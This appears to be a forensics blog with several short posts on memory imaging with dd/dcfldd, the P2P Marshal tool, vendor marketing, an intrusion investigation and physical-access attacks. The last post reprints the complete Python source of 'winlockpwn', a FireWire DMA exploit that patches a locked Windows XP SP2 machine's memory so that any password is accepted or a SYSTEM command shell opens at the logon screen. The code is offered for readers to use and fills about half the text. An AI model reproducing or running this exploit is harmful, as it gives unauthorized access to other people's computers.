Pre-boot authentication bypass techniques.

Jonathan Brousard gave a talk at DefCon 16 that has not gotten much press, but his research has some interesting forensic implications. You can read the white paper at http://www.ivizsecurity.com/pdf/preboot_whitepaper.pdf.

There's a tool set available from the same site.

/dev/mem for Windows, and other bits of memory goodness.

Can "good old cgywin dd" and dcfldd access \.\\Device\PhysicalMemory? It appears that they can.

I was reading posts by Harlan Carvey and Andreas Schuster about new tools for imaging the Physical Memory in Windows this week. Some interesting stuff there. Then I stumbled across an article in Forensic Magazine by Kevin Mandia and Kris Harms, which said in part that \device\PhysicalMemory could be imaged with DCFLDD. I tried the string in the article:
DCFLDD if=\\.\PhysicalMemory of=AnyExternalDevice conv=sync,noerror and I got a big handful of fail for my efforts.

I assumed that someone else had tried this and a little googling turned up this string at forensic focus, as well as a post by on with Windows Incident Response blog that mentioned it (how did I miss that post and why can't I find it now?).

I used the /dev/mem substitution for dcfldd on an XP SP2 box and it seemed to work.

So what I'd learned so far:

1. The Mandia article has incorrect syntax.
2. You can use dcfldd to image something from /dev/mem.

It didn't seem like anyone had figured out what dcfldd was imaging though.

My next thought was, "If dcfldd can image the mysterious /dev/mem, could good old cygwin can access it?" It appears that it can.

According to these posts on the cgywin developer's list, the cygwin grabs \device\PhysicalMemory using cygwin's /dev/mem, in a manner consistent with *nix systems.

I decided to conduct a quick experiment on each. I acquired a sample of physical memory from a XP pro SP2 box:


06/20/2008 09:21 AM 1,064,648,704 dd.img
06/20/2008 09:17 AM 1,064,685,568 win32.dump
06/27/2008 11:49 AM 1,064,685,568 mdd.img
06/20/2008 09:09 AM 1,064,697,856 dcfldd.img

The same command was used for both dcfldd and dd ((DCFL)DD if=/dev/mem of=.\outfile.img conv=sync,noerror

Nothing earth shattering here, but note the file sizes.

P2P Marshall

While researching something unrelated, I tripped across P2P Marshal. Since I have not been able to get to any sort of training short of paying my own way, I did not make it to the DFRWS07 - at any rate, the tool's been out and it's free to LE.

From the website:

P2P Marshal is a tool to analyze peer-to-peer (P2P) usage on file system images. It automatically detects what P2P client programs are, or were, present, extracts configuration and log information, and shows the investigator the shared (uploaded and downloaded) files.

P2P Marshal follows forensic best practices and maintains a detailed log file of all activities it performs. It is designed to be easily extensible to support new P2P clients and networks. It has extensive search capabilities, produces reports in RTF, PDF, and HTML formats and runs on Windows-based operating systems.
Features

* Analyzes peer-to-peer network usage
* NIJ-sponsored project
* Extensible
* Forensically sound
* Version 1.0 available free to law enforcement
* Provides full analysis for: BitTorrent, LimeWire, uTorrent, and Azereus
* Detects and shows default download locations for Ares, Google Hello, and Kazaa
* Future versions will include additional client support and capabilities

Requirements

* Microsoft Windows XP or Vista Operating System
* 120M disk space free

I don't think I'll have the time to use this any time soon, but if someone else does, I would be interested to know about it.

There's also a mention in the ForensicsWiki about it.

Note to marketing: If you want to sell to cops. . .

don't use toy handcuffs in your marketing.

Talk about "push-button forensics" marketing.

Not impressive. I'd also note that the vendor claimed to have ~900 phones that it could image, but their website showed a little over 410. Hmmm.

Vista may be vulnerable to a local password bypass via firewire.

Vista vulnerable to firewire hack (via Thoughts of a Technocrat)

I've been to busy to play with these attacks, but it's on my to do list.

Digging Deeper during analysis

This post has been on my mind for some time (I'm cleaning up draft posts), but it does not look like I am going to get to it any time soon. So this is going to be quick and dirty.

I was doing forensic on an intrusion last year and I knew the following:

The computer was compromised and talking to the outside world via DNS.

I had a DD image of the RAM, and dumps of process memory from each of the processes (as well as a lot of other volatile data).

Unfortunately, I did not have any way to know which (or if any) of the processes were the bad guy's, so my process of elimination went like this:

1. Look at the process list.
2. Find associated executables.
3. Look at executable files.

Unfortunately, this server was running a lot of "stuff." So I was still left with a lot of files to look at, but after much work, I found a file that looked weird enough to make me think that it was likely tbe bad process. (Oh, and I should point out that there were no logs and the intrusion (we later determined) was months old.)

So how does one go about figuring out what happened when there's an lack of log data? Well, it turns out that when I analyzed the files by date created, and I find a memory.dmp file.

So I spend a bit of time researching the memory dump file format and I was able to find the file that the attacker used (it caused some nastiness at the time it was executed) which in turn led me to find some other information about the attack in unallocated space.

This was kind of long, but if you aren't looking beyond what you can see (untranslated blog here) in the file system, you are missing a lot of good information.

Black Bag pwnies

I've blogged before about Adam (Metlstorm) Boileau's python script that can be used to extract bios/pgp passwords. This week, he released the script that he designed that allows a Linux box to overwrite the windows log-on password in memory. . . cool stuff if you need physical access to a box.

I have not tested this yet, but it looks good. . . Now I know what I'll be playing with at work tomorrow.

Preemptive comments:
"But you're changing the evidence."
"But you're modifying the RAM"
"But you've got physical access to the box, you could _______."
"But if someone doesn't have XP SP2 you are out of luck."
"Nobody's done this on Vista."


The code's below because his blog has been slashdotted - Blogger left justifies everything so you are going to have to fix the spacing if you use the code below.

#!/usr/bin/python
# Windows locked screen remote firewire unlockor
# Metlstorm 2k6
# Uh, private use only, not for public distro, kthx.

import sys
import firewire
import binascii
import time

VER=1.5
VERSTR="Winlockpwn v%s Metlstorm, 2k6. " % VER

# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at patchoffset
# bytes from the beginning of the signature.

targets=[{
"name":"WinXP SP2 Fast User Switching Unlock",
"notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"8BD8F7DB1ADBFEC3",
"pageoffset":[2905],
"patch":"bb01000000eb0990",
"patchoffset":0}]
},
{"name":"WinXP SP2 Unlock",
"notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
"phase":[{
"sig":"0502000010",
"pageoffset":[3696],
"patch":"b801000000",
"patchoffset":0}]
},
{"name":"WinXP SP2 msv1_0.dll technique",
"notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",
"phase":[{
"sig":"8BFF558BEC83EC50A1",
"pageoffset":[0x927],
"patch":"B001",
"patchoffset":0xa5}]
},
{"name":"WinXP SP2 utilman cmd spawn",
"notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",
"phase":[
{"name":"Patch code",
"sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
"pageoffset":[0x39f],
"patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
"patchoffset":0x0},
{"name":"Patch data",
"sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
"pageoffset":[0x9ac, 0x5ac, 0x3ac],
"patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
"patchoffset":0x0,
"keepgoing":True,
}
]
}
]


start = 0x8000000L
end = 0xffffffffL
chunk = 4096

print VERSTR

def printTargets(targets):
i = 1
print " Available Targets:"
for t in targets:
print " %2d: %s" % (i, t["name"])
i+=1
print "\nTarget Notes:\n"
for t in targets:
print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])

def usage():
print "Usage: winlockpwn port node target [start-end]"
print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."
print " - Target should be one of the numbered targets listed below."
print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."
print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"
printTargets(targets)
sys.exit(1)

if len(sys.argv) < 4:
usage()

try:
port = int(sys.argv[1])
node = int(sys.argv[2])
targetno = int(sys.argv[3])
if len(sys.argv) > 4:
start,end = firewire.parseRange(sys.argv[4])
if end == None:
end = 0xffffffffL
except ValueError:
usage()

if targetno < 1 or targetno > len(targets):
usage()

target = targets[targetno -1]

print "Target Selection:"
print " Name : %s" % target["name"]
print " Notes : %s" % target["notes"]
for p in target["phase"]:
if p.has_key("name"):
print "Phase: %s" % p["name"]
print " Pattern: 0x%s" % p["sig"]
print " Offset : %s" % p["pageoffset"]
print " Patch : 0x%s" % p["patch"]
print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start : 0x%x" % start
print " Stop : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
if len(p["sig"]) + so > chunk:
print "Uh oh, signature crosses page boundary. This isn't supported :("
sys.exit(1)
if so + p["patchoffset"] > chunk:
print "Uh oh, patch offset crosses page boundary. This isn't supported :("
sys.exix(1)



print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."
sys.stdout.flush()

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
try:
print "Phase: %s" % p["name"]
except KeyError:
pass
signatureoffset=p["pageoffset"]
eviloffset = p["patchoffset"]
payload = binascii.unhexlify(p["patch"])
pattern = binascii.unhexlify(p["sig"])
eviladdr = None
for offset in range(start, end, chunk):
now = time.time()
if now > (last + 1):
last = now
print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),
sys.stdout.flush()

for so in signatureoffset:
mem = n.read(offset + so , len(pattern))
if mem == pattern:
print "Found signature at 0x%08x" % (offset + so)
eviladdr = offset + so + p["patchoffset"]
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
break
if eviladdr != None:
won = True
print "Setting up teh bomb...",
n.write(eviladdr, payload)
print "Donezor!"
verify=n.read(eviladdr, len(payload))
print "Verified evil: 0x%s" % (binascii.hexlify(verify))
if dumppage:
fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
fo.write(n.read(offset, chunk))
fo.close()
if p.has_key("keepgoing") and p["keepgoing"]:
eviladdr = None
else:
break


if won:
print "You may proceed with your nefarious plans"
else:
print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)